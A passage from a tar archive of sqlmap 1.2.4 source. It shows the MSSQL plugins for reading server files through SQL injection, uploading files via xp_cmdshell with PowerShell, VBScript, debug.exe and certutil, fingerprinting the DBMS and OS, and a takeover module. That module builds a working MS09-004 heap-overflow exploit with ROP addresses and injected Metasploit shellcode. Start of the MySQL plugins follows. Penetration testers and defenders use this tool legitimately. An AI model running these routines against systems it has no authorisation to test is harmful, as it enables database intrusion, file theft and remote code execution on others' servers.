chunkName, randScr)) commands = ( "cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr ) self.execCmd(" & ".join(command for command in commands)) return chunkName def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg += "to file '%s'" % dFile logger.info(infoMsg) encodedFileContent = base64encode(wFileContent) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) wFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) for i in xrange(0, wFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) commands = ( "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, "del /F /Q \"%s\"" % encodedBase64FilePath, "del /F /Q \"%s\"" % randPSScriptPath ) self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) dFileName = ntpath.basename(dFile) sFile = "%s\%s" % (tmpPath, dFileName) wFileSize = os.path.getsize(wFile) debugSize = 0xFF00 if wFileSize < debugSize: chunkName = self._updateDestChunk(wFileContent, tmpPath) debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) logger.debug(debugMsg) commands = ( "cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile) ) self.execCmd(" & ".join(command for command in commands)) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " debugMsg += "it chunk by chunk and recreate the original file " debugMsg += "on the server, please wait.." logger.debug(debugMsg) for i in xrange(0, wFileSize, debugSize): wFileChunk = wFileContent[i:i + debugSize] chunkName = self._updateDestChunk(wFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " copyCmd = "ren %s %s" % (chunkName, dFileName) else: debugMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) commands = ( "cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName ) self.execCmd(" & ".join(command for command in commands)) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) commands = ( "cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile) ) self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using a custom visual basic script to write the " infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) vbs = """Dim inputFilePath, outputFilePath inputFilePath = "%s" outputFilePath = "%s" Set fs = CreateObject("Scripting.FileSystemObject") Set file = fs.GetFile(inputFilePath) If file.Size Then Wscript.Echo "Loading from: " & inputFilePath Wscript.Echo Set fd = fs.OpenTextFile(inputFilePath, 1) data = fd.ReadAll fd.Close data = Replace(data, " ", "") data = Replace(data, vbCr, "") data = Replace(data, vbLf, "") Wscript.Echo "Fixed Input: " Wscript.Echo data Wscript.Echo decodedData = base64_decode(data) Wscript.Echo "Output: " Wscript.Echo decodedData Wscript.Echo Wscript.Echo "Writing output in: " & outputFilePath Wscript.Echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) ofs.Write decodedData ofs.close Else Wscript.Echo "The file is empty." End If Function base64_decode(byVal strIn) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 4 w1 = mimedecode(Mid(strIn, n, 1)) w2 = mimedecode(Mid(strIn, n + 1, 1)) w3 = mimedecode(Mid(strIn, n + 2, 1)) w4 = mimedecode(Mid(strIn, n + 3, 1)) If Not w2 Then _ strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) If Not w3 Then _ strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) If Not w4 Then _ strOut = strOut + Chr(((w3 * 64 + w4) And 255)) Next base64_decode = strOut End Function Function mimedecode(byVal strIn) Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" If Len(strIn) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr(Base64Chars, strIn) - 1 End If End Function""" % (randFilePath, dFile) vbs = vbs.replace(" ", "") encodedFileContent = base64encode(wFileContent) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) commands = ( "cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile ) self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) chunkMaxSize = 500 randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) encodedFileContent = base64encode(wFileContent) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) logger.debug("decoding the file to %s.." % dFile) commands = ( "cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), "del /F /Q %s" % randFile ) self.execCmd(" & ".join(command for command in commands)) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) dFile = posixToNtSlashes(dFile) with open(wFile, "rb") as f: wFileContent = f.read() self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " if readInput(message, default='Y', boolean=True): self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) return written �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/fingerprint.py������������������������������������������������0000664�0000000�0000000�00000015067�13260122637�0022723�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MSSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in ( ("2000", "HOST_NAME()=HOST_NAME()"), ("2005", "XACT_STATE()=XACT_STATE()"), ("2008", "SYSDATETIME()=SYSDATETIME()"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2014", "CHARINDEX('12.0.2000',@@version)>0"), ("2016", "ISJSON(NULL) IS NULL") ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # http://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/syntax.py�����������������������������������������������������0000664�0000000�0000000�00000001363�13260122637�0021714�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "NCHAR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mssqlserver/takeover.py���������������������������������������������������0000664�0000000�0000000�00000014256�13260122637�0022213�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import Backend from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.spExploit = "" GenericTakeover.__init__(self) def uncPathRequest(self): # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx * http://support.microsoft.com/kb/959420 """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 12/2008 # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 09/2009 # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp: addrs = data break if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") logger.info("triggering the buffer overflow vulnerability, please wait..") inject.goStacked(self.spExploit, silent=True) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016570�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/__init__.py���������������������������������������������������������0000664�0000000�0000000�00000002327�13260122637�0020705�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MYSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mysql.enumeration import Enumeration from plugins.dbms.mysql.filesystem import Filesystem from plugins.dbms.mysql.fingerprint import Fingerprint from plugins.dbms.mysql.syntax import Syntax from plugins.dbms.mysql.takeover import Takeover from plugins.generic.misc import Miscellaneous class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MySQL methods """ def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF return data-type "sys_exec": {"return": "int"}, "sys_eval": {"return": "string"}, "sys_bineval": {"return": "int"} } Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/connector.py��������������������������������������������������������0000664�0000000�0000000�00000004117�13260122637�0021137�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import pymysql except: pass import logging import struct from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/pymysql/ User guide: http://code.google.com/p/pymysql/ API: http://code.google.com/p/pymysql/ Debian package: <none> License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError), msg: raise SqlmapConnectionException(msg[1]) except struct.error, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pymysql.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (pymysql.OperationalError, pymysql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pymysql.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/enumeration.py������������������������������������������������������0000664�0000000�0000000�00000000501�13260122637�0021464�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/filesystem.py�������������������������������������������������������0000664�0000000�0000000�00000013143�13260122637�0021330�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class 